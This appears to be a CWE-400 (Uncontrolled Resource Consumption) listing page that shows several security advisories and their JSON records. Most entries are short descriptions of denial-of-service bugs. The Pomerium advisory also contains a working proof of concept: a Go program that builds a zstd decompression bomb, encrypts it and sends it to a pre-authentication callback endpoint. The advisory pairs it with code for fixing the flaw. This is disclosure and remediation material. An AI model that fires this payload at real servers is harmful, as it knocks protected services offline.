CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5417 vulnerabilities reference this CWE, most recent first.
GHSA-GFX4-R3V9-VPH4
Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2022-05-13 01:24The gfs2_fallocate function in fs/gfs2/file.c in the Linux kernel before 3.0-rc1 does not ensure that the size of a chunk allocation is a multiple of the block size, which allows local users to cause a denial of service (BUG and system crash) by arranging for all resource groups to have too little free space.
{
"affected": [],
"aliases": [
"CVE-2011-2689"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-07-28T22:55:00Z",
"severity": "MODERATE"
},
"details": "The gfs2_fallocate function in fs/gfs2/file.c in the Linux kernel before 3.0-rc1 does not ensure that the size of a chunk allocation is a multiple of the block size, which allows local users to cause a denial of service (BUG and system crash) by arranging for all resource groups to have too little free space.",
"id": "GHSA-gfx4-r3v9-vph4",
"modified": "2022-05-13T01:24:48Z",
"published": "2022-05-13T01:24:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2689"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=720861"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/68557"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=6905d9e4dda6112f007e9090bca80507da158e63"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=6905d9e4dda6112f007e9090bca80507da158e63"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=139447903326211\u0026w=2"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2011-1065.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/45193"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1025776"
},
{
"type": "WEB",
"url": "http://www.kernel.org/pub/linux/kernel/v3.0/testing/ChangeLog-3.0-rc1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2011/07/13/1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/48677"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GG6M-FHQV-HG56
Vulnerability from github – Published: 2020-09-01 15:15 – Updated: 2021-09-23 21:04Versions of yar prior to 2.2.0 are affected by a denial of service vulnerability related to an invalid encrypted session cookie value.
When an invalid encryped session cookie value is provided, the process will crash.
Recommendation
Update to version 2.2.0 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "yar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-4179"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:09:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Versions of `yar` prior to 2.2.0 are affected by a denial of service vulnerability related to an invalid encrypted session cookie value.\n\nWhen an invalid encryped session cookie value is provided, the process will crash.\n\n\n## Recommendation\n\nUpdate to version 2.2.0 or later.",
"id": "GHSA-gg6m-fhqv-hg56",
"modified": "2021-09-23T21:04:51Z",
"published": "2020-09-01T15:15:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4179"
},
{
"type": "WEB",
"url": "https://github.com/spumko/yar/issues/34"
},
{
"type": "WEB",
"url": "https://github.com/spumko/yar"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/44"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service in yar"
}
GHSA-GGG9-6Q5P-37J3
Vulnerability from github – Published: 2024-07-11 18:31 – Updated: 2024-07-11 21:31An Uncontrolled Resource Consumption vulnerability in the H.323 ALG (Application Layer Gateway) of Juniper Networks Junos OS on SRX Series and MX Series with SPC3 and MS-MPC/MIC, allows an unauthenticated network-based attacker to send specific packets causing traffic loss leading to Denial of Service (DoS).
Continued receipt and processing of these specific packets will sustain the Denial of Service condition.
The memory usage can be monitored using the below command.
??user@host> show usp memory segment sha data objcache jsf This issue affects SRX Series and MX Series with SPC3 and MS-MPC/MIC:
- ?20.4 before 20.4R3-S10,
- ?21.2 before 21.2R3-S6,
- ?21.3 before 21.3R3-S5,
- ?21.4 before 21.4R3-S6,
- ?22.1 before 22.1R3-S4,
- ?22.2 before 22.2R3-S2,
- ?22.3 before 22.3R3-S1,
- ?22.4 before 22.4R3,
- ?23.2 before 23.2R2.
{
"affected": [],
"aliases": [
"CVE-2024-39551"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-11T17:15:16Z",
"severity": "HIGH"
},
"details": "An Uncontrolled Resource Consumption vulnerability in the H.323 ALG (Application Layer Gateway) of\u00a0 Juniper Networks Junos OS on SRX Series and MX Series with SPC3 and MS-MPC/MIC, allows an\u00a0unauthenticated network-based attacker to send specific packets causing traffic loss leading to Denial of Service (DoS).\u00a0\n\nContinued receipt and processing of these specific packets will sustain the Denial of Service condition.\n\nThe memory usage can be monitored using the below command.\n\n??user@host\u003e show usp memory segment sha data objcache jsf\u00a0\nThis issue affects SRX Series and MX Series with SPC3 and MS-MPC/MIC:\u00a0\n\n * ?20.4 before 20.4R3-S10,\u00a0\n * ?21.2 before 21.2R3-S6,\u00a0\n * ?21.3 before 21.3R3-S5,\u00a0\n * ?21.4 before 21.4R3-S6,\u00a0\n * ?22.1 before 22.1R3-S4,\u00a0\n * ?22.2 before 22.2R3-S2,\u00a0\n * ?22.3 before 22.3R3-S1,\u00a0\n * ?22.4 before 22.4R3,\u00a0\n * ?23.2 before 23.2R2.",
"id": "GHSA-ggg9-6q5p-37j3",
"modified": "2024-07-11T21:31:12Z",
"published": "2024-07-11T18:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39551"
},
{
"type": "WEB",
"url": "https://supportportal.juniper.net/JSA83013"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GGP9-5CP6-GWQR
Vulnerability from github – Published: 2022-10-18 19:00 – Updated: 2022-10-20 19:00supybot-fedora implements the command 'refresh', that refreshes the cache of all users from FAS. This takes quite a while to run, and zodbot stops responding to requests during this time.
{
"affected": [],
"aliases": [
"CVE-2020-15853"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-18T14:15:00Z",
"severity": "MODERATE"
},
"details": "supybot-fedora implements the command \u0027refresh\u0027, that refreshes the cache of all users from FAS. This takes quite a while to run, and zodbot stops responding to requests during this time.",
"id": "GHSA-ggp9-5cp6-gwqr",
"modified": "2022-10-20T19:00:29Z",
"published": "2022-10-18T19:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15853"
},
{
"type": "WEB",
"url": "https://github.com/fedora-infra/supybot-fedora/issues/69"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GGW3-5987-RX77
Vulnerability from github – Published: 2026-07-15 23:08 – Updated: 2026-07-15 23:08Summary
The HPKE V2 URL decode path in pkg/hpke/url.go decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's /.pomerium/callback endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.
Severity
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network — the
/.pomerium/callbackroute on the proxy service is externally reachable. - Attack Complexity: Low — the receiver public key is publicly available at
/.well-known/pomerium/hpke-public-key; no special conditions apply. - Privileges Required: None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).
- User Interaction: None
- Scope: Unchanged — the DoS is confined to the Pomerium proxy process itself.
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High — repeated attacks can exhaust process memory and crash the proxy.
Affected Component
pkg/hpke/url.go—decodeQueryStringV2(line 171)internal/authenticateflow/stateless.go—Callback(line 385–393)proxy/handlers.go—Callback(line 105–107), route registered at line 53–54
CWE
- CWE-400: Uncontrolled Resource Consumption
- CWE-1284: Improper Validation of Specified Quantity in Input
Description
Unbounded zstd Decompression in decodeQueryStringV2
pkg/hpke/url.go defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (url.go:166–176):
var zstdDecoder, _ = zstd.NewReader(nil,
zstd.WithDecoderLowmem(true),
)
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit
if err != nil {
return nil, err
}
return url.ParseQuery(string(bs))
}
WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.
By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:
r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap
The protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.
HPKE Does Not Block the Attack — Sender Validation Is Too Late
DecryptURLValues for the V2 format (url.go:107–126):
case IsEncryptedURLV2(encrypted):
senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled
// ...
sealed, err := decode(encrypted.Get(paramQueryV2))
// ...
message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds
// ...
decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED
Open uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.
Sender identity is validated after DecryptURLValues returns (stateless.go:391–397):
senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker
The decompression memory spike occurs unconditionally before rejection.
Pre-Auth Execution Chain on the Proxy Callback
The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53–54):
c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)
For Stateless-flow deployments, p.Callback → authenticateflow.Stateless.Callback → hpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.
Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):
root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))
The full attack requires no credentials of any kind.
Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.
Proof of Concept
# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head
# Step 2: Build and send the decompression bomb (requires Go)
package main
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/klauspost/compress/zstd"
"github.com/pomerium/pomerium/pkg/hpke"
)
func main() {
// Fetch receiver public key from the target
resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
pubBytes := make([]byte, 32)
resp.Body.Read(pubBytes)
resp.Body.Close()
receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)
// Attacker generates their own sender key pair
attackerPriv, _ := hpke.GeneratePrivateKey()
// Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
plain := "x=" + strings.Repeat("A", 128*1024*1024)
enc, _ := zstd.NewWriter(nil)
compressed := enc.EncodeAll([]byte(plain), nil)
// Seal the bomb with attacker's private key → server's public key
sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)
form := url.Values{
"k": {attackerPriv.PublicKey().String()},
"q": {base64.RawURLEncoding.EncodeToString(sealed)},
}
// Deliver to the pre-auth callback endpoint
target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
fmt.Printf("Sending bomb to: %s\n", target)
http.Get(target)
fmt.Println("Done — server allocated ~256 MB per request")
}
Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.
Impact
- Pre-auth denial of service against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero /
authenticate.pomerium.app). - An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.
- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.
- No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.
Recommended Remediation
Option 1: Cap decompressed output size in decodeQueryStringV2 (preferred)
Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:
const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil)
if err != nil {
return nil, err
}
if len(bs) > maxDecompressedQuerySize {
return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs))
}
return url.ParseQuery(string(bs))
}
This fixes the root cause at the lowest layer and protects all callers unconditionally.
Option 2: Validate sender public key before decompressing
Restructure DecryptURLValues so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into DecryptURLValues or splitting the decrypt and decompress steps:
// In Stateless.Callback, before calling DecryptURLValues:
senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k"))
if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {
return err // reject before decompression
}
// then proceed with decryption and decompression
This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in decodeQueryStringV2, leaving other current or future callers at risk.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0.32.6"
},
{
"fixed": "0.32.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50285"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T23:08:18Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy\u0027s `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender\u0027s identity is validated. Because Pomerium\u0027s HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation \u2014 crashing or degrading the proxy process.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network \u2014 the `/.pomerium/callback` route on the proxy service is externally reachable.\n- **Attack Complexity:** Low \u2014 the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply.\n- **Privileges Required:** None \u2014 the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).\n- **User Interaction:** None\n- **Scope:** Unchanged \u2014 the DoS is confined to the Pomerium proxy process itself.\n- **Confidentiality Impact:** None\n- **Integrity Impact:** None\n- **Availability Impact:** High \u2014 repeated attacks can exhaust process memory and crash the proxy.\n\n## Affected Component\n\n- `pkg/hpke/url.go` \u2014 `decodeQueryStringV2` (line 171)\n- `internal/authenticateflow/stateless.go` \u2014 `Callback` (line 385\u2013393)\n- `proxy/handlers.go` \u2014 `Callback` (line 105\u2013107), route registered at line 53\u201354\n\n## CWE\n\n- **CWE-400**: Uncontrolled Resource Consumption\n- **CWE-1284**: Improper Validation of Specified Quantity in Input\n\n## Description\n\n### Unbounded zstd Decompression in `decodeQueryStringV2`\n\n`pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166\u2013176`):\n\n```go\nvar zstdDecoder, _ = zstd.NewReader(nil,\n zstd.WithDecoderLowmem(true),\n)\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit\n if err != nil {\n return nil, err\n }\n return url.ParseQuery(string(bs))\n}\n```\n\n`WithDecoderLowmem(true)` reduces the decoder\u0027s own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.\n\nBy contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`:\n\n```go\nr = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap\n```\n\nThe protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense.\n\n### HPKE Does Not Block the Attack \u2014 Sender Validation Is Too Late\n\n`DecryptURLValues` for the V2 format (`url.go:107\u2013126`):\n\n```go\ncase IsEncryptedURLV2(encrypted):\n senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled\n // ...\n sealed, err := decode(encrypted.Get(paramQueryV2))\n // ...\n message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt \u2014 succeeds\n // ...\n decrypted, err = decodeQueryStringV2(message) // zstd decompress \u2014 UNBOUNDED\n```\n\n`Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys.\n\nSender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391\u2013397`):\n\n```go\nsenderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)\n// ... zstd already completed ...\nerr = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker\n```\n\nThe decompression memory spike occurs unconditionally before rejection.\n\n### Pre-Auth Execution Chain on the Proxy Callback\n\nThe proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53\u201354`):\n\n```go\nc := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()\nc.Path(\"/\").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)\n```\n\nFor Stateless-flow deployments, `p.Callback` \u2192 `authenticateflow.Stateless.Callback` \u2192 `hpke.DecryptURLValues` (unbounded decompress) \u2192 `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.\n\nPomerium\u0027s HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`):\n\n```go\nroot.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(\n traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))\n```\n\nThe full attack requires no credentials of any kind.\n\n**Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.\n\n## Proof of Concept\n\n```bash\n# Step 1: Retrieve the receiver public key\ncurl -so receiver.pub \"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\" | xxd | head\n\n# Step 2: Build and send the decompression bomb (requires Go)\n```\n\n```go\npackage main\n\nimport (\n \"encoding/base64\"\n \"fmt\"\n \"net/http\"\n \"net/url\"\n \"strings\"\n\n \"github.com/klauspost/compress/zstd\"\n \"github.com/pomerium/pomerium/pkg/hpke\"\n)\n\nfunc main() {\n // Fetch receiver public key from the target\n resp, _ := http.Get(\"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\")\n pubBytes := make([]byte, 32)\n resp.Body.Read(pubBytes)\n resp.Body.Close()\n\n receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)\n\n // Attacker generates their own sender key pair\n attackerPriv, _ := hpke.GeneratePrivateKey()\n\n // Build a decompression bomb: 128 MiB of repeated bytes \u2192 ~19 KB compressed\n plain := \"x=\" + strings.Repeat(\"A\", 128*1024*1024)\n enc, _ := zstd.NewWriter(nil)\n compressed := enc.EncodeAll([]byte(plain), nil)\n\n // Seal the bomb with attacker\u0027s private key \u2192 server\u0027s public key\n sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)\n\n form := url.Values{\n \"k\": {attackerPriv.PublicKey().String()},\n \"q\": {base64.RawURLEncoding.EncodeToString(sealed)},\n }\n\n // Deliver to the pre-auth callback endpoint\n target := \"https://TARGET_HOSTNAME/.pomerium/callback/?\" + form.Encode()\n fmt.Printf(\"Sending bomb to: %s\\n\", target)\n http.Get(target)\n fmt.Println(\"Done \u2014 server allocated ~256 MB per request\")\n}\n```\n\nRepeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation.\n\n## Impact\n\n- **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`).\n- An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20\u201340 KB payload.\n- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.\n- No credentials, session cookies, or insider access required \u2014 only network reachability to the proxy\u0027s HTTPS port.\n\n## Recommended Remediation\n\n### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred)\n\nApply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:\n\n```go\nconst maxDecompressedQuerySize = 1 \u003c\u003c 20 // 1 MiB \u2014 generous for any real query string\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n bs, err := zstdDecoder.DecodeAll(raw, nil)\n if err != nil {\n return nil, err\n }\n if len(bs) \u003e maxDecompressedQuerySize {\n return nil, fmt.Errorf(\"hpke: decompressed query string exceeds maximum size (%d bytes)\", len(bs))\n }\n return url.ParseQuery(string(bs))\n}\n```\n\nThis fixes the root cause at the lowest layer and protects all callers unconditionally.\n\n### Option 2: Validate sender public key before decompressing\n\nRestructure `DecryptURLValues` so the sender\u0027s public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps:\n\n```go\n// In Stateless.Callback, before calling DecryptURLValues:\nsenderPublicKey, _ := PublicKeyFromString(r.Form.Get(\"k\"))\nif err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {\n return err // reject before decompression\n}\n// then proceed with decryption and decompression\n```\n\nThis eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-ggw3-5987-rx77",
"modified": "2026-07-15T23:08:18Z",
"published": "2026-07-15T23:08:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/security/advisories/GHSA-ggw3-5987-rx77"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/commit/593eb81c7e5bdbe6071a30d330f374967869577f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pomerium/pomerium"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/releases/tag/v0.32.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback"
}
GHSA-GGWM-QQ5R-J28W
Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-08-06 00:00On Juniper Networks MX Series and EX9200 Series platforms with Trio-based MPC (Modular Port Concentrator) where Integrated Routing and Bridging (IRB) interface is configured and it is mapped to a VPLS instance or a Bridge-Domain, certain network events at Customer Edge (CE) device may cause memory leak in the MPC which can cause an out of memory and MPC restarts. When this issue occurs, there will be temporary traffic interruption until the MPC is restored. An administrator can use the following CLI command to monitor the status of memory usage level of the MPC: user@device> show system resource-monitor fpc FPC Resource Usage Summary Free Heap Mem Watermark : 20 % Free NH Mem Watermark : 20 % Free Filter Mem Watermark : 20 % * - Watermark reached Slot # % Heap Free RTT Average RTT 1 87 PFE # % ENCAP mem Free % NH mem Free % FW mem Free 0 NA 88 99 1 NA 89 99 When the issue is occurring, the value of “% NH mem Free” will go down until the MPC restarts. This issue affects MX Series and EX9200 Series with Trio-based PFEs (Packet Forwarding Engines). Please refer to https://kb.juniper.net/KB25385 for the list of Trio-based PFEs. This issue affects Juniper Networks Junos OS on MX Series, EX9200 Series: 17.3R3-S8; 17.4R3-S2; 18.2R3-S4, 18.2R3-S5; 18.3R3-S2, 18.3R3-S3; 18.4 versions starting from 18.4R3-S1 and later versions prior to 18.4R3-S6; 19.2 versions starting from 19.2R2 and later versions prior to 19.2R3-S1; 19.4 versions starting from 19.4R2 and later versions prior to 19.4R2-S3, 19.4R3; 20.2 versions starting from 20.2R1 and later versions prior to 20.2R1-S3, 20.2R2. This issue does not affect Juniper Networks Junos OS: 18.1, 19.1, 19.3, 20.1.
{
"affected": [],
"aliases": [
"CVE-2021-0202"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-15T18:15:00Z",
"severity": "HIGH"
},
"details": "On Juniper Networks MX Series and EX9200 Series platforms with Trio-based MPC (Modular Port Concentrator) where Integrated Routing and Bridging (IRB) interface is configured and it is mapped to a VPLS instance or a Bridge-Domain, certain network events at Customer Edge (CE) device may cause memory leak in the MPC which can cause an out of memory and MPC restarts. When this issue occurs, there will be temporary traffic interruption until the MPC is restored. An administrator can use the following CLI command to monitor the status of memory usage level of the MPC: user@device\u003e show system resource-monitor fpc FPC Resource Usage Summary Free Heap Mem Watermark : 20 % Free NH Mem Watermark : 20 % Free Filter Mem Watermark : 20 % * - Watermark reached Slot # % Heap Free RTT Average RTT 1 87 PFE # % ENCAP mem Free % NH mem Free % FW mem Free 0 NA 88 99 1 NA 89 99 When the issue is occurring, the value of \u201c% NH mem Free\u201d will go down until the MPC restarts. This issue affects MX Series and EX9200 Series with Trio-based PFEs (Packet Forwarding Engines). Please refer to https://kb.juniper.net/KB25385 for the list of Trio-based PFEs. This issue affects Juniper Networks Junos OS on MX Series, EX9200 Series: 17.3R3-S8; 17.4R3-S2; 18.2R3-S4, 18.2R3-S5; 18.3R3-S2, 18.3R3-S3; 18.4 versions starting from 18.4R3-S1 and later versions prior to 18.4R3-S6; 19.2 versions starting from 19.2R2 and later versions prior to 19.2R3-S1; 19.4 versions starting from 19.4R2 and later versions prior to 19.4R2-S3, 19.4R3; 20.2 versions starting from 20.2R1 and later versions prior to 20.2R1-S3, 20.2R2. This issue does not affect Juniper Networks Junos OS: 18.1, 19.1, 19.3, 20.1.",
"id": "GHSA-ggwm-qq5r-j28w",
"modified": "2022-08-06T00:00:38Z",
"published": "2022-05-24T22:28:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0202"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA11092"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GGXC-26FX-987R
